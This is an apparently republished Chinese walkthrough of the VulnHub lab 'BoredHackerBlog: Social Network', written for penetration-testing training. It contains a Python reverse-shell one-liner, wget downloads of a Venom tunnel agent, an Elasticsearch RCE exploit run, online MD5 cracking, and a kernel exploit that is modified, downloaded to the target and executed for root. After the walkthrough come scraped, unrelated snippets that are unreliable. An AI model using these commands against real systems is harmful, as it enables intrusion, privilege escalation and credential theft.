【VulnHub靶场】——BOREDHACKERBLOG: SOCIAL NETWORK

2023-11-09

作者名:Demo不是emo 

主页面链接:主页传送门
创作初心:对于计算机的学习者来说,初期的学习无疑是最迷茫和难以坚持的,我也在不断的探索,在CSDN写博客主要是为了分享自己的学习历程,学习方法,总结的经验
座右铭:不要让时代的悲哀成为你的悲哀
专研方向:网络安全,数据结构

每日emo:他对我一阵好,一阵坏,我跟别人炫耀一阵,沉默一阵

 

给自己定了个小目标,从今天开始进行24次系统性打靶训练,每次打靶后都会分享靶场攻略总结的知识点,如果对渗透测试和打靶比较感兴趣的小伙伴们也可以跟着我一起训练哦(这24个靶场都是精挑细选的,基本覆盖了渗透测试需要了解的全部类型的漏洞),我们直接进行第一次打靶训练

第一次打靶训练针对的知识点如下

主机发现      端口扫描        代码注入 

服务发现      路径爬取        Shell脚本

内网信息收集  内网穿透        本地提权

漏洞利用      密码破解        攻击代码修改

 本周我们学习的对应靶场就是BOREDHACKERBLOG: SOCIAL NETWORK(中等难度),靶场环境来源于VulnHub,该网站有很多虚拟机靶场,靶场入口在这,推荐大家使用,大家进去直接搜索BOREDHACKERBLOG: SOCIAL NETWORK就能下载今天的靶场了,或者点击下面的链接也能打开下载地址

靶场地址 BoredHackerBlog: Social Network ~ VulnHub

目录

一:攻击准备 

二:信息收集

1.主机发现

2.端口探测

3.路径爬取 

三:渗透测试

1.shell脚本  

2.服务发现

3.内网穿透 

【1】开启监听

【2】开启http服务 

【3】给目标下载代理端文件 

【4】目标回弹

【5】开启代理

【6】攻击利用

4.内网信息收集 

【1】172.17.0.1主机信息收集 

【2】172.17.0.2主机信息收集 

 5.漏洞利用

6.密码破解 

7.本地提权 

【1】本地信息收集 

【2】内核漏洞利用

【3】攻击代码修改

【8】最终获权

四:训练总结 


一:攻击准备 

直接在vbox导入就可以,如果出现了报错,就像下面这样启用usb控制器关掉就可以正常打开了

 这里除了到vulnhub下载到的目标虚拟机环境,还需要一台kali,并且两台处于同一网段(可以都用桥接模式),这里用的是virtual来给大家演示具体操作,如下面这样靶机就算开启了,具体搭建过程就不多讲了,有问题的也可以私信问我 

二:信息收集

1.主机发现

 这里看到,我的kali攻击机的ip是172.21.9.151,而目标机器的ip我们现在并不知道,只知道目标和我们在同一网段内,所以我们首先要做的就是找到目标的ip地址,也就是主机发现

我们用arp-scan扫描工具扫描局域网内的主机(该工具kali自带)

arp-scan -l

 扫描结果如下

 因为我这是校园网,有防护,所以会扫出来很多不存在的主机,此时看最后的硬件厂商即可,上面的扫描结果可以看到只有172.21.10.83这台主机的硬件厂商与其他机器不同,所以它应该就是我们今天渗透的目标

2.端口探测

这里我们成功知道了目标的ip地址为172.21.10.83,所以我们先用namp扫描工具对目标开启的端口和服务进行探测,扫描命令如下

nmap -A 172.21.10.83

 扫描结果如下:

 可以看到目标对外开放了22端口,对应了ssh服务,还开放了5000端口,对应了http网页服务,而且该网页是一个后端语言为python的网页,因为ssh需要账密,所以我们先去访问目标的网页看能不能从web端入手

3.路径爬取 

可以看到目标网页是一个类似于留言板的网页,而且声称这里是安全的,看到留言板就想到了xss,但是经过一番测试后并没有成功绕过防护。而且f12开发者审查页面中也没发现作者留下来的提示信息。

所以先进行一遍目录扫描,这里我使用的是dirsearch目录扫描工具(kali自带),扫描命令如下(把ip换成你的靶机ip)

dirsearch -u "http://172.21.10.83:5000/" -e *

扫描结果如下

三:渗透测试

1.shell脚本  

 上面目录扫描结果可以看到只扫描出了一个/admin路径,我们访问看看

访问之后可以看到出现了一个代码输入页面,提示我们输入代码来执行,应该是说网站会执行我们输入的代码,再结合刚才信息收集时发现目标后端语言是python,这里我们直接尝试用python的反弹shell脚本来获取目标权限

python反弹shell脚本如下(需要把攻击机的ip换成你自己的)

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("你的攻击机ip",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")

设置好自己kali攻击机的ip后,把这段shell脚本放入刚才的网站执行框(此时不要执行),如下

 再去kali上开启对8888端口的监听,如下:

 此时再回到网站点击test code执行代码,就可以监听端就可以成功拿到目标机器权限,如下:

可以看到我们已经成功拿到目标机器的root权限

2.服务发现

 但是ls查找文件的时候看到了一个dockerfile文件,此时就开始怀疑我们目前只是拿到了一个docker容器内主机的权限,但也只是怀疑,所以我们需要进一步确认我们是否在docker容器内,这里给大家分享一个小技巧,就是下面这个命令

cat /proc/1/cgroup 

这个命令可以查看Linux 初始化进程 id:1 的 cgroup 中包含的文件,如果里面有 docker 镜像信息的时候,可以确定是 docker容器,查看结果如下

 可以看到里面确实存在了很多的docker镜像文件,所以我们现在确实是在docker容器里面,但是我们还要继续渗透,就只能从内网层面入手了,先查看该docker容器的网络信息,结果如下

 可以看到该docker容器当前处于 127.17.0.3 显然和宿主机的 IP 是不同的

docker 容器的这个网段可以认为是目标的内网网段,接下来要思考的是:

  • 有没有其他主机呢?
  • 其他主机有没有存在什么漏洞呢?
  • 是否能通过漏洞获得更多信息呢?

所以我们先对该网段进行内网主机发现,其实就是挨个ping看哪个能ping通,命令如下:

for i in $(seq 1 65535);do ping -c 1 172.17.0.$i; done

探测结果如下 

 可以看到这里探测到了三台主机存活,其中的172.17.0.3就是我们现在所处的docker容器说明内网中还存在两台机器

3.内网穿透 

因为我们只拿到了一台docker机器,并且处于内网中,但是接下来又对其他两台主机进行扫描,因为 kali 这些工具不能直接用在内网环境中,所以需要做隧道进行内网穿透,才能对另外两台主机进行渗透

网上有很多内网穿透工具,这里我们使用venom内网穿透工具,下载地址如下

Dliv3/Venom: Venom - A Multi-hop Proxy for Penetration Testers (github.com)

下载下来就是一个venom文件夹,内容如下:

 此时再新开一个终端,进入该目录下,现在开始搭建内网穿透,简单原理就是服务端开启对一个端口的监听,再让目标机器(代理端)回弹到该端口上,就可以建立连接了,搭建步骤如下

【1】开启监听

 开启本地的7777(也可以自己定,只要不冲突就好)端口,用于接收回弹的代理端,命令如下

./admin_linux_x64 -lport 7777

 此时有可能会出现权限不足的提示,我们直接给他加一个执行权限就好了,命令如下

chmod +x admin_linux_x64

【2】开启http服务 

  开启http服务是为了待会目标主机能从kali攻击机下载agent_linux_x64文件(代理端用来回弹的文件),重新打开一个终端进入该文件下,输入下面命令即可:

python3 -m http.server 8000

 这里的意思是开启http服务并搭建在8000端口(同样可以自己定)上,如下

【3】给目标下载代理端文件 

 代理端文件就是agent_linux_x64文件,我们直接用wget命令下载即可,命令如下

wget http://你的kali攻击机的ip:8000/agent_linux_x64

可以看到已经成功将代理端文件下载到目标机器上了

【4】目标回弹

 最后一步就是在目标上执行这个代理端文件了,这里同样需要先给代理端文件加上执行权限,命令如下:

chmod +x agent_linux_x64

再执行该文件,将权限回弹,命令如下:

./agent_linux_x64 -rhost 你的kali攻击机的ip -rport 7777

 

此时再查看刚才开启监听的那个终端,就可以看到已经成功连接了,并建立了一个控制台,如下

【5】开启代理

 这就是控制台页面了,可能很多人没用过这个工具,所以也不知道它的用法,这里我来简单介绍一下,在控制台输入help即可查看帮助

 这里简单介绍一下我们需要用到的命令

show——列出连接的节点

goto——切换到目标节点

socks——在本机的指定端口开启代理服务,通过该端口的数据都会经过代理节点

1.我们使用show命令查看一下已经连接的节点,结果如图

 可以看到这里已经有了一个连接,这就是我们刚才连接的目标机器

2.我们使用goto命令进入目标节点,如下

 成功进入该节点,这里就相当于我们进入了目标机器,你们也可以输入shell,再输入ifconfig,可以看到此时的ip是目标的ip,这里就不演示了

3.使用socks命令在本机的指定端口建立一个节点1的代理

 我这里选择的是6666端口,你们可以随便选,前提就是不冲突,此时我们就成功在本机的6666端口建立了一个代理服务,并且是socks5代理,此时流经该端口的数据都会流经节点1,也就是目标机器

【6】攻击利用

现在代理服务是配置好了,但是我们的搭建代理的目标是让kali上的工具可以对目标进行操作,所以我们还需要挂载proxychains,修改/etc/proxychains4.conf文件,注释掉最初的代理配置,添加本机6666端口的代理配置,即

socks 127.0.0.1 6666

 修改好之后kali上所有的工具使用时只要前面加上了proxychains就会流经代理节点,即我们已经跟目标所在的内网建立了连接

4.内网信息收集 

最开始进行内网主机发现时,探测到了内网中还存在172.17.0.1172.17.0.2这两台机器,

【1】172.17.0.1主机信息收集 

老规矩,直接nmap扫描套餐安排先扫描172.17.0.1这台主机

注意内网穿透建立的连接使用nmap扫描目标机器的时候一定要加上-Pn再扫描,因为此时连接可能不是这么稳定,有可能探测不到然后nmap就认为目标没有存活,从而不去扫描,所以需要-Pn使nmap默认主机存活

命令如下:

proxychains nmap  -Pn -sT 172.17.0.1 

扫描结果如下

看到目标开启了22端口5000端口,发现和我们最开始对目标机器进行nmap扫描的结果一样,所以我怀疑这就是目标机器的内网ip,直接访问网页看看,注意这里浏览器同样需要连接代理,如下

 此时再访问目标,看是否开启了网页服务,结果如下

 可以看到不仅开启了网页服务,而且在后面尝试加admin,也能访问,并且页面与最开始信息收集时一模一样,所以大致可以确定172.17.0.1就是目标机器的内网ip

【2】172.17.0.2主机信息收集 

同样nmap先扫描试试

proxychains nmap  -Pn -sT 172.17.0.2

扫描结果如下

 可以看到目标开启了一个9200端口,但因为是粗略扫描,所以服务显示得不完整,既然知道了目标只开启了9200端口,那我们就可以指定端口扫描,再用-sV来显示服务详细信息重新扫描,命令如下

proxychains nmap  -Pn -sT -p 9200 -sV 172.17.0.2

 可以看到9200端口上的是Elasticsearch 服务,版本为 1.4.2

 5.漏洞利用

上面这个服务应该很多人都没听说过,我也一样,这时候我就要给大家推荐一个简单又好用的工具了 ,就是searchsploit漏洞查找工具(kali自带)

使用方法:searchsploit  + 想查找的信息

返回结果: 包含该信息的漏洞shellcode

 这里我们直接用这个工具来查找有没有相关的漏洞和shellcode,如下

 可以看到结果还是有很多的,但不一定都能成功,大家下去可以多试试,我也只是试了这里的第一个(首先尝试RCE的漏洞),是可以利用的

 直接把第一个文件复制到当前文件下,cat查看该文件发现是用python2写的,因为刚才我们知道目标存在python环境,所以这个脚本目标也能执行,不用担心编译好上传后目标没有环境,我们直接用下面的命令运行一下试试

python2 36337.py

成功提示了该脚本用法,如下 

这里我们直接使用该脚本

 成功获取目标权限,并且仍然是root权限

6.密码破解 

老规矩还是找找各个目录看看作者有没有留下什么信息

 成功在根目录下发现一个passwords文件,有点可疑,cai查看一下,结果如下

 可以看到这里存在了五个账户的账密,联想最初探测目标机器开启了SSH服务,嘿嘿嘿,看到一点胜利的曙光了,当务之急就是把这五个md5加密的密码破解出来,这里给大家推荐一个在线md5解密网站,网站链接如下,把5个密码丢进去解密就可以了

SOMD5 - MD5免费批量破解 - Batch Crack

 解密结果如下

全部拿去用ssh登录目标机器试试, 

 结果只有john用户可以登录,心累,果然还是逃不过提权

7.本地提权 

【1】本地信息收集 

 这里我首先尝试的是sudo提权,发现行不通,习惯性的看了一下系统信息,发现目标机器的linux内核版本是3.13,很古老啊,就怀疑有内核漏洞,我们直接用searchsploit搜一下对应版本的内核漏洞

【2】内核漏洞利用

 可以发现这个内核版本存在很多漏洞,同样也不是全部都能用,需要慢慢试,这里就跳过试的环节了,linux/local/37292.c脚本可用

 同样的,把他复制到当前文件夹来仔细研究一下

cp /usr/share/exploitdb/exploits/linux/local/37292.c exp.c

用cat查看该文件发现它详细提示了该脚本的使用方法

 但是查看脚本能否被目标使用的一个前提就是目标存在该使用环境,通过该脚本用法可以知道该脚本使用过程中需要用到gcc来编译脚本,所以我们得去看看目标机器是否有gcc环境

 可以看到目标机器上是没有gcc环境的,此时只能选择更换脚本或者更改脚本内容

【3】攻击代码修改

因为更换脚本又要一个一个尝试,太麻烦了,所以我们先看看能不能更改脚本的内容,先找找需要gcc的代码所在的位置,在代码尾部成功找到

 这里红框内使用gcc的代码大致意思是使用 system 函数执行系统命令,再一次调用了 gcc 来编译一个名为ofs-lib的库文件

因为目标上没有 gcc 环境,所以我在想看能不能从 kali 上找到要用的库文件,然后修改源代码,不进行编译,直接读取库文件进行执行

意思就是找到它编译的这个库文件,直接跟他放在同一个文件夹中也能使脚本正常使用,因为c语言当需要用到另一个库文件时,如果代码中没有进行编译,那编译器会在本文件中寻找需要的库文件,所以把他要编译的库文件找到并跟这个脚本放一起就可疑让这个脚本不用编译,也就避免了使用gcc环境

kali自己携带了部分库文件,所以先在kali上查找库文件,命令如下:

locate ofs-lib.so

可以看到kali上存在这个库文件,并且返回了库文件所在的位置,同样的将这个库文件复制到当前文件夹

把刚才的exp.c文件红框内的代码删掉 ,删掉之后如下:

 保存之后再用gcc编译,命令如下:

gcc -o exp  exp.c 
//exp.c编译的源文件
//exp编译得到的文件名

 编译时会报一点错,但不影响编译结果,成功编译并在本文件下生成了一个名为exp的文件,这就是编译好的文件,此时所有准备工作都已经完成了

 

【8】最终获权

文件我们都做好了,最后当然是上传到目标机器并运行了,这里直接开启kaili的apache来开启http服务并传输文件

kali执行
1.service apache2 start
//开启apache服务

2.cp exp /var/www/html/exp
//把exp脚本复制到根目录

3.cp ofs-lib.so /var/www/html/ofs-lib.so
//把库文件复制到根目录

控制目标机器执行
4.wget 172.21.9.151/exp
//下载脚本文件(ip换成你们自己kali攻击机的ip)

5.wget 172.21.9.151/exp
//下载库文件,让脚本文件能够正常执行

6.mv ./* /tmp
//把当前文件夹下的文件放到tmp目录下(tmp文件权限较多,不容易出bug)

7.chmod +x exp
//添加执行权限

8../exp
//执行脚本

脚本执行后效果如下

四:训练总结 

 可以看到成功拿到root权限,到这里这个靶场就结束了,这个靶场并不是很难,但需要很强的逻辑能力和基础能力,涉及到的知识点很多,外网,内网,容器和脚本等基础知识都有涉及,得一步一步来,需要的时间比较多,算是一次比较全面的训练了

二十四次系统性打靶训练第一次圆满结束,以后每周会进行一次打靶并记录,有兴趣的可以跟我一起哦,最后感谢大家的阅读,有什么问题或者网安方面的问题随时欢迎私信评论区讨论,respect!

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

【VulnHub靶场】——BOREDHACKERBLOG: SOCIAL NETWORK 的相关文章

  • mux_client_request_session:会话请求失败:会话打开被对等方拒绝

    我使用 bitbucket 来托管一些 git 存储库 当我尝试这样做时 git pull git push I get mux client request session session request failed Session o
  • 将公钥添加到 ~/.ssh/authorized_keys 不会自动登录

    我将公共 SSH 密钥添加到授权密钥 file ssh localhost应该让我登录而不询问密码 我这样做并尝试输入ssh localhost 但它仍然要求我输入密码 我还需要进行其他设置才能使其正常工作吗 我已按照更改权限的说明进行操作
  • 无法通过 SSH 连接到 openshift

    我在通过 SSH 访问 Openshift 时遇到问题 我仍然可以通过 Git 将代码推送到 Openshift 但是 当尝试通过 SSH 连接到 Openshift 时 服务器被拒绝 并显示错误 没有可用的受支持的身份验证方法 服务器发送
  • 尝试通过 SSH 克隆时“似乎不是 git 存储库”

    我有一台运行 Windows 10 的计算机 我想在其上托管 git 存储库 OpenSSH 正在运行 我可以通过 Powershell 通过 SSH 连接到机器 因此它是可连接的 我在该机器上名为 Test 的文件夹中创建了一个新的 gi
  • 远程nodejs服务器部署永远

    我正在尝试通过提交后钩子在远程计算机上部署节点js服务器 该钩子将调用远程计算机上执行实际部署的脚本 我面临的问题是 如果我在计算机上运行远程脚本 它可以正常工作 但是当我尝试通过 ssh 命令执行相同的脚本时 服务器无法启动 这就是我的提
  • 在远程机器上执行多个命令

    在下面的命令中 我尝试 ssh 命令并执行多个命令 如果任何命令失败 即如果 command1 退出 那么如果 command1 和 commnd 2 退出 否则在远程计算机上执行命令 3 我如何退出 我怎样才能做到这一点 ssh logi
  • 有没有办法使用 Paramiko 和 Python 来获取您连接的 SSH 服务器的横幅?

    有没有办法使用 Paramiko 和 Python 来获取您尝试连接的 SSH 服务器的横幅 我正在处理许多机器的超安全服务器设置过程 密码是通过预定义的密钥生成的 该密钥与 SSH 横幅一起打印出来 我可以访问将为我提供密码的实用程序 但
  • 开始作业时无法识别功能

    我在模块 sysinfo psm1 中创建了一个函数 Get Uptime 并导入了该模块 C pstools gt get command Module sysinfo CommandType Name Definition Functi
  • 如何解决22端口连接超时问题

    ssh connect to host bitbucket org port 22 Connection timed out fatal Could not read from remote repository Please make s
  • 用于搜索内部文件的 ssh 命令

    几周前 我的两个网站可能被 ftp 暴力攻击所利用 破坏了我网站的许多文件 我发现他们通常会在js或php文件中插入以下代码 Trojan code removed as irrelevant to this question 我想通过 s
  • 如何捕获密码提示

    我有以下代码 更新为包括 pexpect import sys import subprocess import pexpect print 0 ssh subprocess Popen ssh A t email protected cd
  • gitosis 要求输入密码

    我已经按照以下说明设置了 gitosis 服务器here http scie nti st 2007 11 14 hosting git repositories the easy and secure way 它对于初始用户来说效果很好
  • 如何在 ssh 命令中使用长输入参数正确转义 qsub 命令?

    我有一个复杂的 qsub 命令可以远程运行 PROJECT NAME TEXT TEST PROJECT PACK ORGANIZATION source organization MY ORGANIZATION CONTACT NAME
  • SQLPLUS 保存到文件

    我必须为我的数据库类使用 SQLPLUS 我们的第一个作业是简单的保存 我按照说明进行操作 我正在使用 PuTTY 访问 sqlplus 在本练习中使用以下 SQL 命令 并尝试使用 SAVE 和 SPOOL 命令将 SQL 命令和输出保存
  • Capistrano 和 GitHub Private Repo – 权限被拒绝(公钥)

    我继承了一个托管在 Linode 上的 Rails 项目 之前的开发人员使用 BitBucket 存储库以及 Capistrano 进行部署 我已经在 GitHub 上设置了一个私人存储库 并且正在尝试让 Capistrano 配方发挥作用
  • 通过 SFTP 克隆 Git 存储库

    每次我尝试克隆 Git 存储库时都会遇到致命错误 我运行这个 git clone sftp email protected cdn cgi l email protection git foobar git 我得到这个 fatal Unab
  • 如何在两个不同帐户之间设置无密码身份验证

    我们可以在两台机器的两种不同用途之间设置无密码身份验证吗 例如 计算机A有用户A 计算机B有用户B 我们可以设置密码 ssh 以便计算机 A 上的用户 A 使用其用户帐户 A 登录计算机 B 谢谢你 如果我理解你的问题 你能设置一下吗ssh
  • 如何记录 ssh 调试信息?

    我需要将 ssh 调试信息的输出写入文件中 这 ssh v email protected cdn cgi l email protection gt result txt ssh v email protected cdn cgi l e
  • 使用 ChannelExec 的命令未执行 - Jsch

    我正在使用 Jsch 在服务器中创建一个文件并执行一些命令 对于文件创建 它工作正常 但是对于命令执行 则不然 它保持状态 1 仍在处理它 并永远保持该状态 这种情况发生在 shell 执行或我尝试成为 root 时 请按照以下方法操作 p
  • 如何用python脚本控制TP LINK路由器

    我想知道是否有一个工具可以让我连接到路由器并关闭它 然后从 python 脚本重新启动它 我知道如果我写 import os os system ssh l root 192 168 2 1 我可以通过 python 连接到我的路由器 但是

随机推荐

  • Java操作pdf的工具类itextpdf

    一 什么是iText 在企业的信息系统中 报表处理一直占比较重要的作用 iText是一种生成PDF报表的Java组件 通过在服务器端使用Jsp或JavaBean生成PDF报表 客户端采用超链接显示或下载得到生成的报表 这样就很好的解决了B
  • TS学习(二) :安装ts与ts配置

    一 安装TypeScript npm i g typescript 二 安装完成后 创建ts 使用ts语法 可能遇到的报错问题 在啥都没配置的默认情况下 TS会做出下面几种假设 假设当前的执行环境是dom 如果 代码中没有使用模块化语句 i
  • vscode-server离线安装及配置

    vscode server离线安装及配置 八字环 博客园 cnblogs com 获取当前版本vscode的commit id Help gt About gt Commit 根据commit id下载对应版本的vscode server
  • 保留IP地址

    保留IP地址不会在互联网中使用 其主要被用在企业机构内部作为局域网地址使用 例如 我们经常用到192 168 1 等 保留地址主要在以下四类 A类 10 0 0 0 10 255 255 255 长度相当于1个A类IP地址 A类 100 6
  • 在k8s集群中Kubernetes仪表板dashboard使用RABC机制限制指定用户针对指定名称空间中的资源进行管理实践...

    公众号关注 WeiyiGeek 设为 特别关注 每天带你玩转网络安全运维 应用开发 物联网IOT学习 本章目录 Dashboard 利用rbac机制限制指定用户针对指定名称空间中的资源进行UI管理 原文地址 https blog weiyi
  • 数据结构入门(二):顺序表

    目录 1 顺序表的概念 2 注意事项 3 接口的实现 4 顺序表的问题及思考 1 顺序表的概念 2 注意事项 在进行任意位置删除的时候 一定要注意是否越界 因为顺序表是以一个连续的线性表 3 接口的实现 3 1任意插入 头插和尾插 3 2任
  • \n,\r,\n\r的区别,windows、unix、mac中的换行区别

    转自 http www oschina net question 925405 132872 n 软回车 在Windows 中表示换行且回到下一行的最开始位置 相当于Mac OS 里的 r 的效果 在Linux unix 中只表示换行 但不
  • ALV FIELDCAT添加属性 – REUSE_ALV_FIELDCATALOG_MERGE函数

    在 ALV 定义 Fieldcat 的时候 我们往往需要通过 slis fieldcat alv 的赋值给Fieldcat导入结构 如上篇文章中给出的例子 01 02 03 04 05 06 07 08
  • sap doi技术操作excel的方法

    OLE是和微软OFFICE做接口 比较老的技术 DOI是SAP自己搞的 相对是后出来的技术 同样可以操作EXCEL 有一些方法 get sheets select range cell format set ranges format 等等
  • C语言itoa()函数和atoi()函数详解(整数转字符C实现)

    C语言提供了几个标准库函数 可以将任意类型 整型 长整型 浮点型等 的数字转换为字符串 1 int float to string array C语言提供了几个标准库函数 可以将任意类型 整型 长整型 浮点型等 的数字转换为字符串 下面列举
  • 2021年浙大软院推免机试题解和复试准备建议

    今年参加了浙江大学软件学院的推免复试 分为机试和面试 复试成绩 机试成绩 15 面试成绩 85 虽然机试占比不大 但是相对来说在取消PAT考试成绩抵机试后 机试的难度相比PAT甲级考试略大 同学之间的差距也会比较大 且机试成绩会影响面试老师
  • 【three.js练习程序】拖动选中的物体

  • SpringMVC DispatcherServlet源码(2) 扫描Controller创建HandlerMapping流程

    Spring MVC向容器注册一个RequestMappingInfoHandlerMapping组件 他会扫描容器中的Controller组件 创建RequestMappingInfo并注册HandlerMethod映射关系 本文将阅读S
  • ``三阶段:Vue的生命周期及相关信息``

    生命周期图 生命周期的钩子函数 beforeCreate 创建之前 预加载 里面没有数据 created 创建完成 数据请求 vue对象中东西都存在了 beforeMount 挂载之前 创建虚拟dom 没有渲染的 相关的虚拟dom优化 Mo
  • 韦东山: 作为一个初学者,怎样学习嵌入式Linux?

    被问过太多次 特写这篇文章来回答一下 在学习嵌入式Linux之前 肯定要有C语言基础 汇编基础有没有无所谓 就那么几条汇编指令 用到了一看就会 C语言要学到什么程度呢 越熟当然越好 不熟的话也要具备基本技能 比如写一个数组排序 输入数字求和
  • maven setting为什么需要配置镜像

    为什么需要配置maven国内镜像 1 在不配置镜像的情况下 maven默认会使用中央库 2 maven中央库在国外 有时候访问会很慢 尤其是下载较大的依赖的时候 有时候速度会很慢 甚至会出现无法下载的情况 3 为了解决依赖下载速度的问题 需
  • Java架构直通车——DispatcherServlet详解

    文章目录 引入 DispatcherServlet处理流程 DispatcherServlet与WebApplicationContext 处理流程 DispatcherServlet源码分析 init service destroy 前文
  • Java中文件选择器JFileChooser使用(如何设置默认文件名,并在框中显示)小结

    在Java GUI应用中 难免用到文件选择框JFileChooser 这个组件可以用来选择打开文件 jFileChooser1 setFileSelectionMode JFileChooser OPEN DIALOG 和保存文件 jFil
  • 【Python

    safetensors 是一种用于安全存储张量 与 pickle 相反 的新型简单格式 并且仍然很快 零拷贝 safetensors 真的很快 一 安装 1 1 pip 安装 pip install safetensors 1 2 cond
  • 【VulnHub靶场】——BOREDHACKERBLOG: SOCIAL NETWORK

    作者名 Demo不是emo 主页面链接 主页传送门创作初心 对于计算机的学习者来说 初期的学习无疑是最迷茫和难以坚持的 我也在不断的探索 在CSDN写博客主要是为了分享自己的学习历程 学习方法 总结的经验座右铭 不要让时代的悲哀成为你的悲哀